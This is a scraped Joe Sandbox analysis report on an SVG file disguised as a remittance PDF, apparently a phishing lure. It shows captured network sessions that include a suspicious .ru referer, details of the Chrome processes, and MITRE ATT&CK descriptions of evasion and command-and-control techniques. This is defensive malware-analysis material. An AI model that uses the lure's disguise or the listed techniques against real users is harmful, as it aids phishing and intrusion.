o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.18	49722	104.16.2.189	443	2584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 19:28:22 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://0m.hzusyylm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 19:28:22 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 19:28:22 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=Hlm_9fzhBw5qbLvAsEulJ_YbO5hgr.K930biURYCCS0-1742412502-1.0.1.1-MkH5A5JNWcisCRXz6y6_Vk6ky8PwEsWeFP8WyxzghTqNfS89We0yu_Y06mK_W.xc8FdVc5Y2yDqJn8SatKDC3hJkgAfNnDwymn7EN_AVfOY; path=/; expires=Wed, 19-Mar-25 19:58:22 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922f5f5b9b43da8d-EWR alt-svc: h3=":443"; ma=86400
2025-03-19 19:28:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 19:28:22 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.18	49723	104.16.2.189	443	2584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 19:28:22 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=Hlm_9fzhBw5qbLvAsEulJ_YbO5hgr.K930biURYCCS0-1742412502-1.0.1.1-MkH5A5JNWcisCRXz6y6_Vk6ky8PwEsWeFP8WyxzghTqNfS89We0yu_Y06mK_W.xc8FdVc5Y2yDqJn8SatKDC3hJkgAfNnDwymn7EN_AVfOY
2025-03-19 19:28:23 UTC	435	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 19:28:23 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 922f5f5f5c99437f-EWR alt-svc: h3=":443"; ma=86400
2025-03-19 19:28:23 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-19 19:28:23 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Statistics

CPU Usage

• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 7088, Parent PID: 2576

Function Logs

General

Target ID:	0
Start time:	15:28:16
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VIEWRE~1.SVG
Imagebase:	0x7ff6ab450000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

File Activities

File Opened

Show Windows behavior

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

COM Activities

WMI Operations

Show Windows behavior

Process Activities

Process Created

Process Terminated

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Windows UI Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Token Activities

Token Adjusted

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2584, Parent PID: 7088

Function Logs

General

Target ID:	2
Start time:	15:28:18
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,14079168659140352075,13294369131087691873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3
Imagebase:	0x7ff6ab450000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

File Activities

File Opened

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 7088, Parent PID: 2576

General

File Activities

File Opened

File Created

Windows Analysis Report
View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg